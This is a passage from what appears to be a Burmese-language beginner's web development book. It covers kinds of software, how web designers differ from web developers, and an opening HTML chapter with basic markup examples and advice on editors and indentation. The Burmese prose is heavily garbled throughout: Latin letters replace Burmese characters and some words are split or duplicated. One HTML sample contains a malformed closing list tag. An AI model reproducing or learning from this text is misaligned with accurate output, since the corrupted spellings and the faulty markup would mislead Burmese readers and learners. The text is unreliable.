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�ိမေတ်ဆက်

မZ[လာပါ။ ဒီစာအုပ်ဟာ Web Development အdeကာင်းကို ဟိုးအdgခခံအဆင့်ကdနစပြပီး လုပ်ငန်းခွင်ဝင်
အဆင့်ထိ  စ-လယ်-ဆုံး  အကုန်ပါdအာင်  doာ်gပမယ့်  စာအုပ်goစ်ပါတယ်။  ဒါdeကာင့်  စာoတ်သူက
ကွန်ပျူတာ  နဲ့  အင်တာနက်ကို  dကာင်းdကာင်းသုံးတတ်ယံုက လဲွရင်  ကြကိုတင်dလ့လာထားတဲ့  အdgခခံ
ဗဟုသုတ  လံုးဝမရှိdသးသူလ့ုိ  သdzာထားပြပီး  doာ်gပသွားမှာပါ။  စာdရးသူအdနနဲ့  အခုလုိ  နည်းပညာ
စာအုပ်dတွကို  dရးသားgပုစုdနသလုိ သင်တန်းdတွ oွင့်ပြပီးdတာ့လည်း ပ့ုိချdနတဲ့အတွက် dလ့လာသူများ
နဲ့ အပြမဲမgပတ် ထိdတွ့မှုရှိထားပါတယ်။ ဒါdeကာင့် dလ့လာစအဆင့်မှာ dလ့လာသူများ ကြကုံdတွ့ရdလရ့ှိတဲ့
အခက်အခဲdတွကိုလည်း  dကာင်းdကာင်း  သိရှိထားပါတယ်။  ဒီစာအုပ်မှာ  စာdရးသူရဲ့  သင်eကားမှု
အdတွ့အကြကုံdတွdပါ်မူတည်ပြပီး  dလ့လာသူများ  dလ့လာစမှာ  ကြကုံdတွ့ရdလ့ရှတိဲ့  အခက်အခဲdတွကို
dကျာ်လွှားပြပီး  လွယ်ကူလျှင်gမန်စွာ  dလ့လာနိုင်dစမယ့် နည်းလမ်းdတွနဲ့  doာ်gပdပးသွားမှာပါ။  ပထမဦး
ဆုံးအdနနဲ့  နည်းပညာdတွအdeကာင်း မdgပာခင်  Web Development  ဆိုတာ zာလဲဆိုတာကdန စပြပီး
dတာ့ dgပာချင်ပါတယ်။

ကျွန်dတာ်တို့dလ့လာeကမယ့်  Web  Development    ဆိုတာဟာ    Software  Development    ဆိုတဲ့  
zာသာရပ်ကြကီး dအာက်က zာသာရပ် အခွဲတစ်ခု လ့ုိ ဆိုနိုင်ပါတယ်။  Software  ဆိုတဲ့dနရာမှာ  System
Software  နဲ့  Application Software  ဆိုပြပီး နှစ်မျ ို းခွဲလ့ုိ ရနိုင်ပါတယ်။ System Software  ဆိုတဲ့အထဲမှာ
အgမင်သာဆုံးကdတာ့ ကွန်ပျူတာdတွမှာ ထည့်သွင်းအသံုးgပုရတဲ့  Microsoft Windows  လုိ  Operating
System ဟာ System Software တစ်မျ ို းပါပဲ။  Mobile oုန်းdတွမှာ ထည့်သွင်းအသံုးgပုရတဲ့  Android တို့
iOS တို့လုိ Mobile Operating System မျ ို းdတွဟာလည်း System Software dတွပါပဲ။
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Application  Software  ဆိုတာကdတာ့  အသံုးချdဆာ့o်ဝဲ လ့ုိ  gမန်မာလုိ  dခါ်လ့ုိရနိုင်ပါတယ်။  ကိုယ့်
လုပ်ငန်း dဆာင်ရွက်ချက် ပြပီးdgမာက်oို့အတွက် အသံုးgပုရတဲ့ dဆာ့o်ဝဲမျ ို းပါ။ အ့ဲဒီမှာလည်း တစ်ကိုယ်dရ
သံုး    Consumer Software   နဲ့ လုပ်ငန်းသံုး    Business Software   ဆိုပြပီးdတာ့ ထပ်ခွဲလ့ုိ ရနိုင်ပါdသးတယ်။
Microsoft Word တို့၊  YouTube တို့၊  Facebook တို့၊  Google Maps တို့လုိ dဆာ့o်ဝဲမျ ို းdတွဟာ လူတိုင်း
သံုးလို့ရတဲ့ တစ်ကိုယ်dရသံုး Consumer Software dတွ goစ်eကပါတယ်။ Business Software ကို တစ်ချ ို ့
က  Enterprise  Software  လ့ုိလည်း  dခါ်eကပါတယ်။ မျက်စိထဲမှာ  gမင်သာdအာင် dgပာရရင်  စတိုးဆိုင်
dတွ၊  စူပါမားကတ်dတွမှာ  dငွရှင်းတဲ့အခါ  dငွရှင်းdကာင်တာက  အသံုးgပုတဲ့  dဆာ့o်ဝဲဟာ  Business
Software  goစ်ပါတယ်။ သက်ဆိုင်ရာလုပ်ငန်းအတွက် အသုံးgပုရတာ goစ်ပြပီးdတာ့ ဒီdဆာ့o်ဝဲdတွဟာ လူ
တစ်ဦးချင်း သံုးရတဲ့ dဆာ့o်ဝဲမျ ို းdတွ မဟုတ်eကပါzူး။

Software  Development  ဆိုတဲ့zာသာရပ်ကို  dလ့လာတဲ့အခါ၊  အ့ဲဒီdဆာ့o်ဝဲအမျ ို းအစား  အားလံုးကို
တစ်ခါထဲ  အကုန်တွဲပြပီး  dလ့လာeကရတာမျ ို း  မဟုတ်ပါzူး။  တူညီတဲ့  အdgခခံသdzာသzာဝdတွရှိdပ
မယ့် System Software ကိုအထူးgပုdလ့လာမှာလား၊ Consumer Software ကိုအထူးgပုdလ့လာမှာလား၊
Business Software  ကိုအထူးgပုdလ့လာမှာလား စသည်goင့် dရွးချယ်ပြပီးdတာ့မှ စတင်dလ့လာeကရတာ
ပါ။  System Software  zက်ကို  သွားမယ်ဆိုရင်  C/C++  နဲ့  Rust  တို့လုိ  Programming Language  နဲ့
ဆက်စပ်နည်းပညာမျ ို းdတွကို  အထူးgပုdလ့လာeကရမှာပါ။  Business  Software  zက်ကို  သွားချင်ရင်
dတာ့ Microsoft .NET နဲ့ Java EE တို့လုိ နည်းပညာမျ ို းdတွကို အထူးgပု dလ့လာeကရမှာ goစ်ပါတယ်။

Consumer Software zက်ပုိင်းမှာdတာ့ dဆာ့o်ဝဲရဲ့ အလုပ်လုပ်တဲ့ပံုစံdပါ်မူတည်ပြပီး (၃) မျ ို း ထပ်ခွဲeကပါ
dသးတယ်။ Desktop Software, Web Application   နဲ့   Mobile App   တို့goစ်ပါတယ်။ Desktop Software
ဆိုတာ Windows တို့ Mac တို့လုိ ကွန်ပျူတာ Operating System dပါ်မှာ Install လုပ်ထည့်သွင်းအသံုးgပု
လ့ုိရတဲ့  Software  အမျ ို းအစားdတွပါ။  Microsoft  Windows  အတွက်ဆိုရင်  Microsoft  .NET,  Visual
Studio, Windows API  စတဲ့နည်းပညာdတွကို dလ့လာပြပီး oန်တီးeကရမှာ goစ်ပါတယ်။ Mac အတွက်ဆို
ရင်dတာ့ Swift, XCode, macOS SDK စတဲ့ နည်းပညာdတွကို dလ့လာoန်တီးeကရမှာပါ။

ကိုယ့်ရဲ့oုန်းdတွ Tablet dတွထဲမှာ Google Play Store တို့ Apple App Store တို့ကdန Download လုပ်
ထည့်သွင်းပြပီး အသံုးeကdလ့ရှိတဲ့  Mobile App dတွ dရးသားoန်တီးလုိရင်dတာ့  Android  အတွက်  Java,
Kotlin, Android Studio, Android SDK တဲ့ နည်းပညာdတွကို dလ့လာရမှာပါ။ iPhone လုိ iOS Devices
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dတွအတွက်ဆိုရင် Swift, XCode နဲ့ iOS SDK တို့ကို dလ့လာeကရမှာ goစ်ပါတယ်။ ဒီစာအုပ်ဟာ အ့ဲဒီနည်း
ပညာdတွ  အdeကာင်းကို  doာ်gပမယ့်စာအုပ်မဟုတ်လို့  အကျယ်မချဲ့ပါzူး။  dလ့လာစသူများ  စိတ်ဝင်စား
သိရှိလုိdလ့  ရှိeကတဲ့အတွက်  zယ်လုိကဏ္ဍအတွက်  zယ်လုိနည်းပညာdတွ  သံုးdလ့ရှိတယ်ဆိုတာ
ဗဟုသုတအdနနဲ့ သိရdအာင် ထည့်သွင်းdoာ်gပထားတာပါ။

အ့ဲဒီလုိအမျ ို းမျ ို းရှိတဲ့ထဲက ဒီစာအုပ်မှာ အထူးgပုdoာ်gပမှာကdတာ့ Web Application dတွအdeကာင်း goစ်
ပါတယ်။ Web Application ဆိုတာဟာ လုိရင်းအနှစ်ချုပ်အားgoင့်  Google Chrome, Firefox, Microsoft
Edge    စတဲ့    Web Browser    ထဲမှာ  အလုပ်လုပ်တဲ့  dဆာ့o်ဝဲdတွ   goစ်ပါတယ်။ ဥပမာ  - facebook.com,
google.com, youtube.com, gmail.com, twitter.com စတဲ့ဝz်ဆိုက်dတွဟာ Web Application dတွ
goစ်eကပါတယ်။ အ့ဲဒီလို  Web Application dတွoန်တီးoို့အတွက်  HTML, CSS, JavaScript စတဲ့ အdgခခံ
နည်းပညာ (၃) ခုကို အထူးgပုdလ့လာရပြပီး PHP, Python, Ruby, Java စတဲ့ goည့်စွက်နည်းပညာdတွထဲ
က တစ်ခုခုကို  ပူးတွဲdရွးချယ်ပြပီး  dလ့လာeကရပါတယ်။  တgခားဆက်စပ်  နည်းပညာdတွလည်း  ရှိပါdသး
တယ်။ သ့ူdနရာနဲ့သူ ဆက်လက်doာ်gပသွားမှာပါ။

ဒီလုိမျ ို း Web Application dတွကို dရးသားoန်တီးeကတဲ့ ပညာရှင်များကို Web Developer လ့ုိ dခါ်eကပါ
တယ်။  ဒီdနရာမှာ  အdခါ်အdဝါ်မူကွဲအdနနဲ့  Web  Designer  ဆိုတာလည်း  ရိှပါdသးတယ်။  ဒီ  Web
Developer  နဲ့  Web Designer  ဆိုတဲ့  အdခါ်အdဝါ်နှစ်ခုဟာလည်း dရာdထွးပြပီး  dလ့လာသူdတွ မျက်စိ
လည်တတ်eကgပန်ပါတယ်။ ဒါdeကာင့် ဒီနှစ်မျ ို းရဲ့ ကွဲgပားချက်ကို ထည့်သွင်းရှင်းgပပါဦးမယ်။ အeကမ်းoျဉ်း
အားgoင့် ဒီလုိပါ။ 

Web Designer   ဆိုတာဟာ ဝz်ဆိုက်တစ်ခုရဲ့   User   dတွ dတွ့gမင်ထိdတွ့ အသံုးgပုရတဲ့ အသွင်အgပင်ပုိင်း  
ကို  dရးဆွဲoန်တီးရတဲ့  သူdတွပါ။  ဒီလုိoန်တီးo့ုိအတွက်  Adobe Photoshop  တို့  Adobe Illustrator  တို့
Sketch တို့လုိ  Graphic Design ပုိင်းဆိုင်ရာ dဆာ့o်ဝဲdတွကို အသံုးgပုတာလည်း goစ်နိုင်ပါတယ်။ Pencil
တို့  Figma  တို့လုိ  UI  Prototype  နည်းပညာမျ ို းကို  အသုံးgပုတာလည်း  goစ်နိုင်ပါတယ်။  ဒါမှမဟုတ်
HTML/CSS ကို သံုးပြပီး oန်တီးတာလည်း goစ်နိုင်ပါdသးတယ်။ HTML/CSS ကို တုိက်ရိုက်သံုးတာမျ ို း goစ်
နိုင်သလုိ၊ Photoshop တို့ Sketch တို့နဲ့ ဒီဇုိင်းအရင်ဆွဲပြပီးdတာ့မှ အ့ဲဒီ ဒီဇုိင်းကို HTML/CSS နဲ့ Template
gပန်dgပာင်းတာလည်း goစ်နိုင်ပါတယ်။ ဒီထက်တစ်ဆင့် gမင့်လာတဲ့အခါ JavaScript တို့ jQuery တို့ React
တို့လုိ  နည်းပညာမျ ို းdတွနဲ့  လက်dတွ့အသုံးgပုလ့ုိရနိုင်တဲ့  အဆင့်ထိ  oန်တီးeကပါတယ်။  တစ်dယာက်နဲ့
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တစ်dယာက် သွားတဲ့အဆင့်dတွ မတူeကပါzူး။ တစ်ချ ို ့က gမင်ရတဲ့ ဒီဇုိင်းပုိင်း ဆွဲပြပီးရင်  Web Designer
တစ်ဦးရဲ့လုပ်ငန်း  ပြပီဆုံးပြပီလ့ုိ  သdzာထားeကပါတယ်။ တစ်ချ ို ့ကdတာ့  gမင်ရယံုနဲ့  မပြပီးdသးzူး၊  ပdရာ
Zျက်ထဲမှာ လက်dတွ့ထည့် အသုံးချလို့ရတဲ့  Template  dတွ  Code  dတွထိ တစ်ခါထဲ dရးdပးရတယ်လ့ုိ
သdzာထားeကပါတယ်။  လုိရင်းအနှစ်ချုပ်ကdတာ့  သတ်မှတ်ထားတဲ့အဆင့်  မတူeကdပမယ့်  Web
Designer  တစ်ဦးရဲ့အလုပ်က ဝz်ဆိုက်dတွမှာ  dတွ့gမင့်ထိdတွ့နိုင်တဲ့  အပိုင်းကို  oန်တီးdပးgခင်း  goစ်ပါ
တယ်။ တစ်ချ ို ့  Web Designer  dတွက Code dရးနိုင်ပြပီး၊ တစ်ချ ို ့ မdရးနိုင်eကပါzူး။  Code dရးနိုင်gခင်း
မdရးနိုင်gခင်းက  Web  Designer  dကာင်း  ဟုတ်gခင်း၊  မဟုတ်gခင်းနဲ့  မဆိုင်ပါzူး။  တစ်dယာက်နဲ့တစ်
dယာက် ချဉ်းကပ်ပံု မတူeကတာသာ goစ်ပါတယ်။

Web  Developer    ဆိုတာကdတာ့  ဝz်ဆိုက်dတွကို  လက်dတွ့အလုပ်လုပ်ပြပီး  အများသံုးလ့ုိရdအာင်  
လွှင့်တင်တဲ့အထိ   HTML/CSS Template   dတွ၊   Server-side   နည်းပညာdတွ၊   Database   နည်းပညာdတွနဲ့  
dပါင်းစပ်ပြပီး oန်တီးdရးသားတဲ့ သူdတွပါ။ ဒီdနရာမှာ Web Designer ကြကိုတင်dရးဆွဲdပးထားတဲ့ ဒီဇုိင်းကို
အသံုးgပုပြပီး  ဆက်လက်oန်တီးတာgoစ်နိုင်သလို၊  ကိုယ်တိုင်  ဒီဇုိင်းနဲ့  Template  dတွကအစ oန်တီးရတာ
မျ ို းလည်း goစ်နိုင်ပါတယ်။ တစ်ချ ို ့ Team dတွမှာ Web Designer နဲ့ Web Developer ကို သ့ူတာဝန်နဲ့သူ
ခွဲထားပြပီး တစ်ချ ို ့ Team dတွမှာdတာ့ ခွဲမထားပါzူး၊ Web Developer လ့ုိdgပာရင် အကုန်တာဝန်ယူeကရ
တာdတွလည်း ရှိပါတယ်။ ဒီလုိသီးgခား  Web Designer  မရှိတဲ့  Team dတွကလုပ်တဲ့ ပdရာZျက်dတွဟာ
ဒီဇုိင်းအသွင်အgပင်  အားနည်းeကdလ့ရှိပါတယ်။  zာသာရပ်နှစ်ခုလံုးဟာ  သ့ူဟာနဲ့သူ  ကျယ်gပန့်လုိ့
dခါင်းစဉ်တစ်မျ ို းတည်းdအာက်မှာ နှစ်ခုလံုးကို ကျွမ်းကျင်ပုိင်နိုင်o့ုိဆိုတာ ခက်ပါတယ်။ နှစ်ခုလံုးကျွမ်းကျင်
သူ  မရှိzူးမဟုတ်ပါzူး၊  ရှိdတာ့ရှိတယ်၊  ရှားတယ်ဆိုတာမျ ို းပါ။  တစ်ချ ို ့  Team  dတွကျdတာ့  Web
Designer  လ့ုိ dခါင်းစဉ်တပ်ပြပီး ဒီဇုိင်းဆွဲတာdရာ လက်dတွ့လွှင့်တင်နိုင်တဲ့ အဆင့်ထိdရာ အကုန်တာဝန်
ယူeကရgပန်ပါတယ်။ ဒီလုိအခါမျ ို းမှာ တစ်ချ ို ့ကလည်း အသင့်သံုး Content Management System (CMS)
နည်းပညာdတွကို အdgခခံပြပီး oန်တီးeကလို့  CMS Developer ဆိုတဲ့dခါင်းစဉ်လည်း eကားထဲမှာ ရှိလာgပန်
ပါတယ်။  ဒါdeကာင့်  ဒီအdခါ်အdဝါ်နှစ်ခု  dရာdထွးdနယံုမက  တgခား  Web  Master,  Front-end
Developer,  Back-end  Developer  စgoင့်  အdခါ်အdဝါ်dတွနဲ့လည်း  dရာdထွးdနပါdသးတယ်။  ဒါ
dတွdeကာင့် dခါင်းရှုပ်သွားရင် စိတ်မပူပါနဲ့၊ စာoတ်သူမှမဟုတ်ပါzူး၊ zယ်သူမှ ရှင်းလင်းတဲ့ အဓိပ္ပါယ်oွင့်
ဆိုချက်ကို မသိeကတာပါ။ တစ်dယာက်ကိုdမးရင် တစ်မျ ို းdgပာeကပါလိမ့်မယ်။
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အကျဉ်းချုပ်ကို  ဒီလိုမှတ်နိုင်ပါတယ်။  Web  Designer    ဆိုတာ    User    dတွ့gမင်ထိdတွ့ရတဲ့  အသွင်အgပင်  
ဒီဇုိင်း  dရးဆွဲoန်တီးသူgoစ်ပြပီး၊    Web  Developer    ဆိုတာကdတာ့  အ့ဲဒီ  ဒီဇိုင်းကို  အသံုးgပုပြပီး  လက်dတွ့  
လွှင့်တင်လ့ုိရတဲ့ ဝz်ဆိုက်dတွ oန်တီးသူgoစ်တယ် လ့ုိ မှတ်နိုင်ပါတယ်။

တစ်ကယ်dတာ့  Web  Development  ဆိုတဲ့dခါင်းစဉ်dအာက်မှာ  Front-end,  Back-end,  Full-stack
စသည်goင့် အမျ ို းမျ ို း ရှိeကပါdသးတယ်။ ဒီစာအုပ်မှာ အားလုံး (အားလံုး) ကို ထည့်သွင်း doာ်gပသွားမှာပါ။
ဒါdeကာင့်  ဒီအdခါ်အdဝါ်dတွအdeကာင်းကို  အdပါ်ယံသdzာ  ကြကိုမရှင်းdတာ့ပါzူး။  အdသးစိတ်
ဆက်လက်dလ့လာ သွားမှာမ့ုိလို့ပါ။ 

လက်dတွ့လုပ်ငန်းခွင်တဲ့  dရာက်တဲ့အခါ  Front-end, Back-end  စသည်goင့် ကိုယ်ပုိဝါသနာပါတဲ့  အပုိင်း
ကို  dရွးမယ်ဆို  dရွးလ့ုိရနိုင်ပါတယ်။ ဒါdပမယ့် dလ့လာတဲ့အခါမှာdတာ့ အားလုံးကို  dလ့လာo့ုိ လုိအပ်ပါ
တယ်။  Front-end  သီးသန့်လုပ်ချင်ပါတယ် ဆိရုင်dတာင်  Back-end  အdeကာင်းကိုလည်း တီးမိdခါက်မိ
သိထားမှ  လုပ်ငန်းခွင်မှာ  အဆင်dgပမှာပါ။  Back-end  ပဲ  သီးသန့်လုပ်ချင်တယ်ဆိုရင်လည်း  Front-end
အdeကာင်း တီးမိdခါက်မိ သိထားမှ အဆင်dgပမှာပါ။ ဒါdeကာင့် dလ့လာတဲ့အခါမှာ အားလံုးကို တစ်ခါထဲ
တွဲoက်dလ့လာထားမှ dလ့လာသူအတွက် dရရှည်အကျ ို းရှိမှာ goစ်ပါတယ်။

dနာက်ပုိင်းမှာ  zယ်zာသာရပ်ကို  အထူးgပု  dရးွချယ်သည် goစ်dစ၊  Web Development  လ့ုိdgပာလုိက်
တာနဲ့  dလ့လာသူတိုင်း မgoစ်မdန အစgပု dလ့လာeကရမှာကdတာ့ HTML, CSS နဲ့ JavaScript တို့ပဲ goစ်
ပါတယ်။ ကဲ စလုိက်eကရdအာင်။ 



အပိမေုင်း (၁)
HTML, CSS
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အခန်း (၁) - HTML

Markup Language
HTML  ဟာ  Markup  Language  တစ်ခုgoစ်ပါတယ်။  သူနာမည်  အgပည့်အစုံက  Hypertext  Markup
Language  ပါ။  Markup  Language  ဆိုတာကို  ဒီလုိမှတ်ပါ။  ကွန်ပျူတာက  နားလည်အလုပ်လုပ်နိုင်တဲ့
Content Structure   တည်dဆာက်ရdသာ နည်းပညာgoစ်ပါတယ်  ။ အgခားdသာ Markup Language dတွ
ရိှပါdသးတယ်။  XML, YAML, Markdown စသည်goင့်ပါ။  Language  မတူလ့ုိ dရးသားပုံdတွ မတူdပမယ့်
Markup Language အားလံုးရဲ့ ရည်ရွယ်ချက်က အတတူူပါပဲ။ ကွန်ပျူတာက နားလည် အလုပ်လုပ်နိုင်တဲ့
Content Structure တည်dဆာက်oို့ပဲ goစ်ပါတယ်။ ဥပမာ - ဒီစာdလးကို dလ့လာeကည့်ပါ။

 Plain Text 
HTML goစ်dပါ်လာပံု

HTML ကို Tim Berners-Lee အမည်ရ ကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်တွင် WorldWideWeb 
နည်းပညာ၏ အစိတ်အပုိင်းတစရ်ပ်အgoစ် ချgပခဲ့gခင်းgoစ်သည်။ ၄င်း WorldWideWeb နည်းပညာကို 
လက်dတွ့ စမ်းသပ်နိုင်ရန် dအာက်ပါတို့ကိုလည်း ပူးတွဲတီထွင်ခဲ့သည်။

Web Browser
HTTP Server 

ဒီစာကိုလူတစ်dယာက် oတ်eကည့်ရင် zယ်ဟာက dခါင်းစဉ်၊ zယ်ဟာက စာကိုယ်၊ zယ်ဟာက စာရင်း
စသgoင့် အလိုလုိ သိပါတယ်။ zာကိုeကည့်ပြပီး သိတာလဲဆိုdတာ့ dရးထားတဲ့ စာမှာပါတဲ့ အdeကာင်းအရာ
ကို  oတ်eကည့်ပြပီး  သိတာပါ။  ကွန်ပျူတာကdတာ့  လူတစ်dယာက်လုိ  အ့ဲဒီစာကို  oတ်ရှုသိရှိနိုင်စွမ်း  ရှိမှာ
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မဟုတ်ပါzူး။  အခုdနာက်ပုိင်း  AI  နည်းပညာdတွ dပါ်လာလ့ုိ သိရှိနိုင်စွမ်း  ရိှလာdပမယ့် ဒါdတွကအခုမှ
အစပဲရှိပါdသးတယ်။ ပါတဲ့အdeကာင်းအရာကို eကည့်ပြပီးdတာ့ dခါင်းစဉ်လား၊ စာကိုယ်လား၊ စာရင်းလား ခွဲ
နိုင်မှာ မဟုတ်ပါzူး။ အ့ဲဒါကို ခွဲနိုင်dအာင် အမှတ်အသား လုပ်dပးတဲ့  နည်းပညာကို  Markup Language
လ့ုိdခါ်တာပါ။ ဒီစာကိုပဲ HTML နဲ့ dရးမယ်ဆိုရင် အခုလုိ dရးdပးရမှာပါ။

 HTML 
<h1>HTML goစ်dပါ်လာပံု</h1>

<p>
HTML ကို Tim Berners-Lee အမည်ရကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်တွင် 
WorldWideWeb နည်းပညာ၏ အစိတ်အပိုင်းတစ်ရပ်အgoစ် ချgပခဲ့gခင်းgoစ်သည်။ ၄င်း 
WorldWideWeb နည်းပညာကို လက်dတွ့စမ်းသပ်နုိင်ရန် dအာက်ပါတ့ုိကို ပူးတဲွတီထွင်ခဲ့သည်။
</p>
<ul>

<li>Web Browser</li>
<li>HTTP Server</li>

</ul> 

HTML က သတ်မှတ်ထားပါတယ်၊ <h1> ဆိုတဲ့အမှတ်အသားနဲ့  </h1> ဆိုတဲ့အမှတ်အသား eကားထဲမှာ
ရိှတဲ့  အdeကာင်းအရာကို  dခါင်းစီးအဆင့်  (၁)  လ့ုိ  မှတ်ယူရမယ်  တဲ။့  ဒါကိုdရးသားသူ  ကျွန်dတာ်တို့က
နားလည်သိရှိလ့ုိ  dရးdပးလိုက်သလုိ၊  HTML ကို  နားလည်တဲ့  ကွန်ပျူတာစနစ်dတွလည်း သိနိုင်သွားပါပြပီ။
zာdရးထားလည်း  oတ်တတ်စရာမလုိzဲနဲ့  <h1> အမှတ်အသားနဲ့  </h1> အမှတ်အသားeကားထဲက
ဟာကို dခါင်းစီးအဆင့်  (၁)  မှန်း သိနိုင်သွားပါပြပီ။  HTML ကို နားလည်တဲ့ ကွန်ပျူတာစနစ်လို့  dgပာလုိက်
တာကိုသတိgပုပါ။ HTML ကိုနားမလည်တဲ့ ကွန်ပျူတာ စနစ်dတွလည်း ရိှနိုင်တာပါပဲ။ HTML ကို နားလည်
တဲ့  ကွန်ပျူတာစနစ်dတွထဲမှာ  အဓိကအကျဆုံးကdတာ့  ကျွန်dတာ်တို့dတွ  dန့စဉ်  အင်တာနက်သုံးoုိ့
အသံုးgပုdနeကတဲ့ Google Chrome, Mozilla Firefox, Microsoft Edge စတဲ့ Web Browser dတွပါပဲ။ ဒီ
Web  Browser  dတွက  HTML  ကိုနားလည်eကပါတယ်။  ဒါdeကာင့်  HTML  အမှတ်အသားdတွကိုသံုးပြပီး
dရးထားတဲ့ Document ကို အမှတ်အသား သတ်မှတ်ချက်နဲ့အညီ doာ်gပအလုပ်လုပ် dပးနိုင်eကပါတယ်။
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Basic Structure & Elements
အထက်မှာdပးခဲ့တဲ့ နမူနာကို gပည့်စုံdအာင် dရးမယ်ဆိုရင် ဒီလိdုရးdပးရမှာပါ။

 HTML 
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>HTML ဆုိသည်မှာ</title>
</head>
<body>
    <h1>HTML goစ်dပါ်လာပံု</h1>

    <p>
    HTML ကုိ Tim Berners-Lee အမည်ရကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်

တွင် WorldWideWeb နည်းပညာ၏ အစိတ်အပိုင်းတစ်ရပ်အgoစ် ချgပခဲ့gခင်း
goစ်သည်။ ၄င်း WorldWideWeb နည်းပညာကို လက်dတွ့စမ်းသပ် နုိင်ရန် 
dအာက်ပါတ့ုိကို ပူးတဲွတီထွင်ခဲ့သည်။

    </p>
    <ul>
    <li>Web Browser</li>
    <li>HTTP Server</li>
    </ul>
    
    <p>
    HTML နှင့် ဆက်စပ်နည်းပညာများမှာ dအာက်ပါအတုိင်းgoစ်ပါသည်။
    </p>
    
    <ol>
    <li>HTTP</li>
    <li>CSS</li>
    </ol>
</body>
</html>
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ဒီကုဒ်ကို ကိုယ်တိုင်လည်း ကူးdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။ နှစ်သက်ရာ Code Editor ကိုသံုးပြပီး dရးလို့ရ
ပါတယ်။ လက်ရှိမှာ VS Code ကdတာ့ လူကြကိုက်အများဆုံး Code Editor goစ်dနလ့ုိ ဒီမှာ Download ရယူ
ပြပီး ထည့်သွင်းထားနိုင်ပါတယ်။

- https://code.visualstudio.com

နမူနာကုဒ်dတွကို ကူးdရးပြပီးရင် ရလဒ်ကို Chrome, Firefox စသgoင့် နှစ်သက်ရာ Web Browser နဲ့oွင့်ပြပီး
စမ်းeကည့်လ့ုိရပါတယ်။ 

ဒီစာအုပ်မှာ dရးgပသမျှ ကုဒ်အတိုအစdလးကအစ အကုန်လံုးကို လုိက်စမ်းeကည့်o့ုိ တိုက်တွန်းပါတယ်။ ဒီ
dတာ့မှ တစ်ခါထဲgမင်ပြပီး တစ်ခါထဲရသွားမှာပါ။ ဒီလုိစမ်းeကည့်တဲ့အခါ အgမန်ဆုံးနည်းကdတာ့  Code Pen

လုိ နည်းပညာမျ ို းကို အသံုးgပုgခင်းပါပဲ။ ကုဒ်ချက်gခင်းdရးပြပီး ရလဒ်ချက်gခင်းgမင်ရလ့ုိ အdတာ် အဆင်dgပ
ပါတယ်။ dရးလုိက်၊ သိမ်းလုိက်၊  Browser  နဲ့ gပန်oွင့်eကည့်လုိက် လုပ်dနစရာ မလုိdတာ့ပါzူး။ အွန်လုိင်း
ကdန တိုက်ရိုက်dရးစမ်းတာမ့ုိလ့ုိ အင်တာနက်အဆက်အသွယ်ရှိo့ုိdတာ့ လုိပါတယ်။ ဒီမှာdရးရမှာပါ။

- https://codepen.io/  pen  

https://codepen.io/pen
https://codepen.io/pen
https://code.visualstudio.com/
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ပံုမှာdoာ်gပထားတာကdတာ့  Code  Pen  ကိုသံုးပြပီးdရးထားတဲ့ကုဒ်နဲ့  ယှဉ်တွဲdoာ်gပထားတဲ့  ရလဒ်goစ်ပါ
တယ်။ ရလဒ်အdနနဲ့ dရးထားတဲ့ HTML dပါ်မူတည်ပြပီး သင့်dတာ်တဲ့အသွင်အgပင်နဲ့doာ်gပdနတဲ့ Content
ကို  dတွ့gမင်ရgခင်းgoစ်ပါတယ်။  ကုဒ်dတွdရးတဲ့အခါ နမူနာမှာ dရးgပသလုိ  Indent  dလးdတွ  မှန်dအာင်
dရးသင့်ပါတယ်။  Indent  ဆိုတာ တစ်ခုခရုဲ့  အတွင်းထဲမှာရှိတဲ့  အdeကာင်းအရာကို  အတွင်းထဲမှာ  ရိှမှန်း
သိသာ gမင်သာdအာင် Tab dလး တွန်းပြပီး dရးထားတာကို dgပာတာပါ။ ဒီလုိပါ -

 HTML 
<body>

<ul>
<li>Web Browser<li>
<li>HTTP Server</li>

</ul>
</body>

ဒီလုိdရးထားတဲ့အတွက် <ul> က <body> အတွင်းမှာရှိပြပီး <li> Element dတဟွာ <ul> ရဲ့ အတွင်း
ထဲမှာရှိတဲ့  Element  dတွgoစ်deကာင်း ထင်ရှားgမင်သာသွားdစပါတယ်။ oတ်ရတာ ပုိအဆင်dgပသွားသလုိ
အoွင့်အပိတ်dတွ  မစုံလ့ုိ  မှားတဲ့အခါမှာမျ ို းမှာ  အမှားကို  ပုိပြပီးdတာ့  gမင်သာdစမှာ  goစ်ပါတယ်။  Indent
dတွ မမှန်လည်း အလုပ်လုပ်dပမယ့်   Indent   မှန်မှသာ gပန်oတ်လ့ုိ အဆင်dgပမှာပါ  ။ မဟုတ်ရင် oတ်ရခက်
ပြပီး၊ အမှားရှာရ၊ gပင်ရခက်dနပါလိမ့်မယ်။

ဟိုးအdပါ်က နမူနာမှာ dရးသားပါဝင်တဲ့ အမှတ်အသား တစ်ခုချင်းစီအdeကာင်းကို ဆက်ပြပီးdတာ့ ရှင်းgပပါ
မယ်။  ပထမဆုံးအdနနဲ့  ဒီအမှတ်အသားတစ်ခုချင်းစီကို  HTML  Tag  လ့ုိdခါ်ပြပီး  အတွဲအoက်gပည့်စုံတဲ့
HTML Tag  အစုံလိုက်ကို  Element  လ့ုိ  dခါ်တယ်လ့ုိ မှတ်ထားပါ။  dနာက်ပိုင်းမှာ  အမှတ်အသားလ့ုိdgပာ
မယ့်အစား Element လ့ုိပဲ ဆက်သံုးသွားမှာ goစ်ပါတယ်။ စeကည့်eကပါမယ်။

<!DOCTYPE html> -  ဒီ  Element  ကို  Document Type Declaration  လ့ုိ  dခါ်ပါတယ်။ အရင်က
HTML နဲ့ ဆက်စပ် Document အမျ ို းအစားdတွ အမျ ို းမျ ို းရှိလိမ့်မယ်လ့ုိ ရည်ရွယ်ခဲ့eကတာပါ။ HTML 4.0,
HTML 4.01, XHTML 1.0, XHTML 1.1, HTML 5 စသgoင့် Version အမျ ို းမျ ို းရှိသလုိ Strict, Transitional,
Frameset စသgoင့် မူကွဲdတွလည်း အများကြကီးပါ။ အ့ဲဒါdတွကို အခုdခါင်းရှုပ်ခံပြပီး dgပာစရာ၊ မှတ်စရာမလုိ
